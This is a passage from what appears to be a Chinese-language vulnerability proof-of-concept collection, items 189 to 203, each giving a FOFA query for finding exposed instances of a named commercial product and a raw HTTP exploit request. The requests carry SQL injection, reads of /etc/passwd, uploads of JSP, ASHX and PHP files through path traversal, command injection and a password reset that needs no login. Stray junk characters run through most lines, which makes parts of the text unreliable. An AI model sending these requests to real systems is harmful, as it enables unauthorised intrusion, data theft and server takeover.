0 l. Z  L$ x& VFOFA：body="/system/get_rtc_user_defined_info?site_id"
GET /attachment?file=/etc/passwd HTTP/1.1
9 \1 Y( {" a$ J/ I. {7 jHost: your-ip
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36
" v1 g  M8 J, y7 Q, D* gAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate
3 g6 C* ^) F7 ^: oAccept-Language: zh-CN,zh;q=0.9,en;q=0.8
" J; f& r1 b) y: T; F& p% ^Connection: close
+ _" W4 n6 m% G. I3 U3 c

& m; v8 Q6 D  T' M3 C% ^189. 蓝网科技临床浏览系统 deleteStudy SQL注入
FOFA：app="LANWON-临床浏览系统"
GET /xds/deleteStudy.php?documentUniqueId=1%27;WAITFOR%20DELAY%20%270:0:5%27-- HTTP/1.1
Host: your-ip
2 G" j5 V* d1 M& j; c5 z4 qUser-Agent: Mozilla/5.0 (Windows NT 6.3; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/107.0.0.0 Safari/537.36
' ~* l) o: K. XAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
- n2 j3 x% j+ o4 j" h, p$ GAccept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
3 Z2 N0 n; ]7 r4 |  AConnection: close


190. 短视频矩阵营销系统 poihuoqu 任意文件读取
/ F$ ^9 K. [2 x' \- P' ?FOFA：title=="短视频矩阵营销系统"
/ R# v: J; c) s' u" ^  S( F# i' o9 ^POST /index.php/admin/Userinfo/poihuoqu HTTP/2
- Z4 k+ u/ y8 A" a9 I2 [5 J. CHost: your-ip
. z2 Y/ z( u# r/ ~8 OUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.54 Safari/537.36
7 `" u8 L. C# T4 ^Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Content-Type: application/x-www-form-urlencoded
3 j6 q0 T& d/ ?# w. C3 NAccept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
4 _5 C$ L9 L, n$ s# x4 G8 y* {
2 z! ]3 g  u' P3 Opoi=file:///etc/passwd
# V  w9 t4 N8 t. @+ V' \' R3 A3 E

191. 亿赛通电子文档安全管理系统 NavigationAjax SQL注入
. k: y3 z4 `  B0 yFOFA：body="/CDGServer3/index.jsp"
POST /CDGServer3/js/../NavigationAjax HTTP/1.1
" v: r9 A' b3 Q- A7 W. y) D4 Y( UHost: your-ip
0 d3 Q6 e. d7 CUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36
Content-Type: application/x-www-form-urlencoded
; C- o1 ?1 A7 d! w
0 j' S, M4 T8 j, M' Y4 Zcommand=nav&id=1'waitfor delay '0:0:5'--+&name=&openId=


! D" H0 A* b, f3 N* g192. 富通天下外贸ERP UploadEmailAttr 任意文件上传
3 C; S5 [7 _' d1 a  h: R. A* q- v& PFOFA：title="用户登录_富通天下外贸ERP"
POST /JoinfApp/EMail/UploadEmailAttr?name=.ashx HTTP/1.1
2 F0 l! }) M( d% O8 WHost: your-ip
4 Q; ^, L9 C$ a5 z8 UUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36(KHTML, like Gecko) Chrome/93.0.4577.63 Safari/537.36
% f# r, k* Z1 r! bContent-Type: application/x-www-form-urlencoded

- K1 J' K6 ]+ G7 e
<% @ webhandler language="C#" class="AverageHandler" %>
using System;
: \4 s  O& j  K! gusing System.Web;
' B; ?4 Z3 m0 R' c3 `! U' G7 I5 `public class AverageHandler : IHttpHandler
( y5 k: M% q3 V4 Q{
7 `) I4 t/ _/ I2 y- @; {. T# ]1 e; Bpublic bool IsReusable
{ get { return true; } }
public void ProcessRequest(HttpContext ctx)
4 j' `1 U$ O. c{
3 n; `" c/ l1 _- Z% tctx.Response.Write("test");
8 r% j" a. C8 ^# _, d9 [) O}
}
" t+ \& x' n* v) `6 ^; {" ?; j$ ?. K
& V1 w3 W$ |& \8 z$ _2 z
193. 山石网科云鉴安全管理系统 setsystemtimeaction 命令执行
6 N0 Z9 `" S. \7 A% D2 @FOFA：body="山石云鉴主机安全管理系统"
8 v4 U; h7 w* C% N! a) ZGET /master/ajaxActions/getTokenAction.php HTTP/1.1
0 X& V( n: K) U3 HHost:
0 b" G7 `; _% v  r' A  S3 X/ n; E0 \Cookie: PHPSESSID=2333333333333;
$ ^2 ~/ {8 p7 {8 aContent-Type: application/x-www-form-urlencoded
( @$ h0 l8 S& H" PUser-Agent: Mozilla/5.0
! x8 p( i- |( h
; B2 x1 C' j( O
5 f4 A1 U9 W; _% C, N: b" ^/ h# iPOST /master/ajaxActions/setSystemTimeAction.php?token_csrf={{token}} HTTP/1.1
Host:
User-Agent: Mozilla/5.0
) Y9 M) j8 Q6 O4 i( b& CAccept-Encoding: gzip, deflate
% ]* t( U; ?: J( ^) e! j0 h7 l4 w* VAccept: */*
( V# B" d8 k. b  V9 M% M1 hConnection: close
Cookie: PHPSESSID=2333333333333;
" D1 d! O, l% m+ H& XContent-Type: application/x-www-form-urlencoded
Content-Length: 84

& ~3 R0 e+ M1 v6 {; W) G. M5 dparam=os.system('echo 23333333333456 > /opt/var/majorsec/installation/master/runtime/img/config')
1 w3 K# }" e) T/ d

GET /master/img/config HTTP/1.1
Host:
User-Agent: Mozilla/5.0

9 g' ~% T( t& h( J  `- E3 e
194. 飞企互联-FE企业运营管理平台 uploadAttachmentServlet 任意文件上传
# w, i. q% C" A6 V# gFOFA：app="FE-协作平台"访问 /servlet/uploadAttachmentServlet 有返回则漏洞存在

POST /servlet/uploadAttachmentServlet HTTP/1.1
" a  T1 n5 C) F# q9 S. x) c& YHost: host
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/103.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
5 ~8 D8 n6 d3 E% h. P- t# N3 jAccept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
" V! d- }) _8 q" T0 kContent-Type: multipart/form-data; boundary=----WebKitFormBoundaryKNt0t4vBe8cX9rZk
------WebKitFormBoundaryKNt0t4vBe8cX9rZk
- d1 m: \9 @  B% Y7 A8 h! @
6 \! s3 |0 t; V- _6 _5 `Content-Disposition: form-data; name="uploadFile"; filename="../../../../../jboss/web/fe.war/hello.jsp"
* [( u; I; z5 p. }& `8 mContent-Type: text/plain
  L  ?+ Y1 H$ t<% out.println("hello");%>
------WebKitFormBoundaryKNt0t4vBe8cX9rZk
9 C0 Z0 W' J& ]$ h/ XContent-Disposition: form-data; name="json"
{"iq":{"query":{"UpdateType":"mail"}}}
, R4 Y) `5 D& g; D------WebKitFormBoundaryKNt0t4vBe8cX9rZk--
( `- ]* V, I4 h6 \! X2 x$ m
' C7 A  v5 J/ ^5 q! `  |
195. 飞鱼星上网行为管理系统 send_order.cgi命令执行
FOFA：title=="飞鱼星企业级智能上网行为管理系统
: V' u% i6 n: l( W) h2 VPOST /send_order.cgi?parameter=operation HTTP/1.1
: c0 i# b- t8 ]# {! bHost: 127.0.0.1
) m; W) h- E# }9 C. K8 i8 IPragma: no-cache
0 @! m! d6 ^; k9 p) o- `6 V! n4 WCache-Control: no-cache
: {7 K5 ?/ v7 {5 `7 j9 fUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.0.0 Safari/537.36
Accept: */*
- I9 C2 u: {8 {Accept-Encoding: gzip, deflate
3 m' d/ g" \8 T- \Accept-Language: zh-CN,zh;q=0.9
+ s) G1 {2 ?, t3 H- {Connection: close
5 q/ ?) B2 `8 RContent-Type: application/x-www-form-urlencoded
3 z/ r* e( A0 n" _/ T' y& _( z  X' [Content-Length: 68
. |* k. v( j" o
( n+ y( w# p9 _# T$ i& y{"opid":"777777777777777777","name":";uname -a;echo ","type":"rest"}
, ?$ X( ^9 J. L8 q1 M: O2 O% ^- _9 n

& D( y6 N# A3 U& N, B! c196. 河南省风速科技统一认证平台密码重置
, u* f+ [( A# K4 l% u0 }FOFA：body="/cas/themes/zbvc/js/jquery.min.js"
7 m0 ~) V; t! F0 dPOST /cas/userCtl/resetPasswordBySuper HTTP/1.1
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/93.0.4577.63 Safari/537.36
Content-Type: application/json;charset=UTF-8
X-Requested-With: XMLHttpRequest
$ a( {, X7 H4 c2 X: NHost:
Accept: text/html, image/gif, image/jpeg, *; q=.2, */*; q=.2
& [$ \& v: _3 [2 F1 i8 W1 f- Z: ?0 _Content-Length: 45
Connection: close

: R) n+ C! ~; e1 J; o3 O3 |{"xgh":"test","newPass":"test666","email":""}



! N" s0 g2 ~# V197. 浙大恩特客户资源管理系统-Quotegask_editAction存在SQL注入
) f2 S3 q# d7 f& G$ lFOFA：app="浙大恩特客户资源管理系统"
GET /entsoft/Quotegask_editAction.entweb;.js?goonumStr=1')+UNION+ALL+SELECT+111*111--+&method=goonumIsExist HTTP/1.1
Host:
  G, X& x( V7 c4 c# ]4 T9 D2 CUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_8_4) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/49.0.2656.18 Safari/537.36
( T; |$ P$ X7 x# V* aAccept-Encoding: gzip, deflate
6 k3 W9 W/ s! q! X+ GConnection: close
& S/ h- I( G# S/ I- P: a: s7 G% K

7 |7 i" M8 v' V' M9 m: ?" m3 `
198.  阿里云盘 WebDAV 命令注入
CVE-2024-29640
  g9 n0 V  w. iGET /cgi-bin/luci/admin/services/aliyundrive-webdav/query?sid=%60%6c%73%20%2f%3e%2f%77%77%77%2f%61%61%61%2e%74%78%74%60%20 HTTP/1.1
+ |6 Y1 \+ N  NCookie: sysauth=41273cb2cffef0bb5d0653592624cf64
Accept: */*
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8,en-GB;q=0.7,en-US;q=0.6
9 }9 I9 i' a' T( Y! h7 P5 n1 SConnection: close
$ h1 W  S' H+ |5 S

9 H+ A( b" f  {199. cockpit系统assetsmanager_upload接口 文件上传
+ D4 {0 A' d# J
! O% C* @- B( a1 N7 N+ f! k) H1.执行poc进行csrf信息获取，并获取cookie，再上传访问得到结果：
GET /auth/login?to=/ HTTP/1.1

3 d& K: x4 y) j% [: C响应：200，返回值:csfr:"eyJ0eXAi0iJKV1QiLCJhbGci0iJIUsI1NiJ9.eyJjc2ZyIjoibG9naW4ifQ.6KvuRJo3-Dp2UouwGH9D8cmnXEL4NGNen9CX3ex86cw"

3 y& e; d4 e/ B, u: [& R2.使用刚才上一步获取到的jwt获取cookie：

( i4 t& [# u( }; C6 _+ KPOST /auth/check HTTP/1.1
$ J9 I2 u$ o0 C! u0 N* z+ ]4 y& @- xContent-Type: application/json

% k0 ]( B; B/ d3 u. s( \, U' n{"auth":{"user":"admin","password":"admin"},"csfr":"eyJ0eXAi0iJKV1QiLCJhbGci0iJIUsI1NiJ9.eyJjc2ZyIjoibG9naW4ifQ.6KvuRJo3-Dp2UouwGH9D8cmnXEL4NGNen9CX3ex86cw"}
% a# {* t" F8 v! W4 |# @
响应：200，返回值:
Set-Cookie:mysession=95524f01e238bf51bb60d77ede3bea92: path=/
Fofa：title="Authenticate Please!"
+ R* f$ C% ~) F( FPOST /assetsmanager/upload HTTP/1.1
# h/ m$ r" v4 Q) ?* NContent-Type: multipart/form-data; boundary=---------------------------36D28FBc36bd6feE7Fb3
8 X& y( Y5 h: H5 }! F5 M0 CCookie: mysession=95524f01e238bf51bb60d77ede3bea92
! }  A& j  p6 N& b: p) D" X
-----------------------------36D28FBc36bd6feE7Fb3
Content-Disposition: form-data; name="files[]"; filename="tttt.php"
1 t0 f1 G+ Z( @- `: c3 G$ m! D4 mContent-Type: text/php
" o$ b+ `" ?& L- [6 X: j3 U
1 u) G  i  }& v' W& N<?php echo "tttt";unlink(__FILE__);?>
-----------------------------36D28FBc36bd6feE7Fb3
Content-Disposition: form-data; name="folder"

-----------------------------36D28FBc36bd6feE7Fb3--
. b' B, O& A7 w4 n+ I& \, E
& h' P3 X$ Q! R3 S; Y# {
/storage/uploads/tttt.php
# j, I( C$ g0 F5 M5 X
200. SeaCMS海洋影视管理系统dmku SQL注入
, {3 u, q9 T' f$ P% Q) a: p8 p/ PFOFA：app="海洋CMS"
GET /js/player/dmplayer/dmku/?ac=del&id=(select(0)from(select(sleep(5)))v)&type=list HTTP/1.1
, ?2 {/ w, k; A: h  ~Cookie: PHPSESSID=hlfl5flck9q3ng1blehhv86s4s
) _! w- D9 |, R, M7 u& N7 sUpgrade-Insecure-Requests: 1
Cache-Control: max-age=0
1 V+ `. _, c1 m" UAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9

* |5 T7 W1 }/ o
$ O7 ]2 C$ V& m) f! X5 D( O201. 方正全媒体新闻采编系统 binary SQL注入
' B1 K" Q+ Z. Q5 {: rFOFA：body="/newsedit/newsedit/" || app="FOUNDER-全媒体采编系统"
  `/ y0 b: E! {+ C/ C* C, r! i# }POST /newsedit/newsplan/task/binary.do HTTP/1.1
Content-Type: application/x-www-form-urlencoded
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate
6 @3 w8 c5 w8 gAccept-Language: zh-CN,zh;q=0.9
Connection: close
5 o, i5 \) g: }( V9 L% e# U( R
TableName=DOM_IMAGE+where+REFID%3D-1+union+select+%271%27%3B+WAITFOR+DELAY+%270%3A0%3A5%27%3Bselect+DOM_IMAGE+from+IMG_LARGE_PATH&FieldName=IMG_LARGE_PATH&KeyName=REFID&KeyID=1
/ ~( \0 l: K; b; j" t3 j, {

202. 微擎系统 AccountEdit任意文件上传
1 G$ T- }5 n* YFOFA：body="/Widgets/WidgetCollection/"
获取__VIEWSTATE和__EVENTVALIDATION值
GET /User/AccountEdit.aspx HTTP/1.1
Host: 滑板人之家
( }& m5 a/ i" @6 @0 h4 ]* ?! tUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/531.36 (KHTML, like Gecko) Chrome/83.0.4103.112 Safari/537.31
Content-Length: 0


( B1 Y# I3 w& J. M, p6 j" C6 A替换__VIEWSTATE和__EVENTVALIDATION值
POST /User/AccountEdit.aspx HTTP/1.1
Accept-Encoding: gzip, deflate, br
, v' o# S' N7 z# O, N: R% C: PContent-Type: multipart/form-data;boundary=---------------------------786435874t38587593865736587346567358735687
$ M$ {: d6 B2 U" i1 C+ X6 q4 P
+ J. ~- |& l1 L& U& ]3 E4 c-----------------------------786435874t38587593865736587346567358735687
; j$ x5 v1 K5 z2 j+ h7 C% ZContent-Disposition: form-data; name="__VIEWSTATE"
+ D* i& }) L* ]5 Q! M7 Q1 Y) h# `
( Y/ M0 X1 E/ i3 S__VIEWSTATE
-----------------------------786435874t38587593865736587346567358735687
Content-Disposition: form-data; name="__EVENTVALIDATION"

__EVENTVALIDATION
7 B9 H& L' {' b-----------------------------786435874t38587593865736587346567358735687
Content-Disposition: form-data; name="ctl00$MyContentPlaceHolder$ctl00$upload"; filename="1123.txt"
Content-Type: text/plain
9 u9 f+ N3 G* @/ z4 o+ v' u; L( J
/ i0 O  s( y8 `5 C, l2 b# p; A1 wHello World!
-----------------------------786435874t38587593865736587346567358735687
Content-Disposition: form-data; name="ctl00$MyContentPlaceHolder$ctl00$bttnUpload"

' ^: E& ^2 k5 x) d( n$ ]% K上传图片
" v* B, Y! n& p' K- `-----------------------------786435874t38587593865736587346567358735687
! V7 F( D0 x3 T7 ^! AContent-Disposition: form-data; name="ctl00$MyContentPlaceHolder$ctl00$txtLastName"

% o, t+ t7 a3 q0 t3 b# c0 t! }0 T
, L8 ]: a! D5 |-----------------------------786435874t38587593865736587346567358735687
Content-Disposition: form-data; name="ctl00$MyContentPlaceHolder$ctl00$txtEmail"
  o$ J8 a7 ^1 N, r& z
* @$ C: ?& v% ~
-----------------------------786435874t38587593865736587346567358735687--

: D, a( y8 q$ H, o+ k% V
/_data/Uploads/1123.txt

, e. q: ~8 D% V* [1 k6 U203. 红海云EHR PtFjk 文件上传
FOFA：body="RedseaPlatform"
POST /RedseaPlatform/PtFjk.mob?method=upload HTTP/1.1
: H* @& T0 N+ |7 M7 \$ XHost: x.x.x.x
Accept-Encoding: gzip
$ T& e& q# i: i9 M/ WUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryt7WbDl1tXogoZys4
8 X8 Z( ^) f: b  A  X% Y* Y3 z# o2 hContent-Length: 210

" B, W2 s! V+ j4 O------WebKitFormBoundaryt7WbDl1tXogoZys4
Content-Disposition: form-data; name="fj_file"; filename="11.jsp"
: m; ?* C  T; S% y& [2 mContent-Type:image/jpeg

<% out.print("hello,eHR");%>
------WebKitFormBoundaryt7WbDl1tXogoZys4--
% e% n5 w- r& U. L/ F: \  V

8 E9 s" b/ w8 o" h3 a
( X4 |) H( d/ r" n/ @+ C) i
( U: V. ?  Y& K% \# N

5 s; @. k! W& b! a0 K, {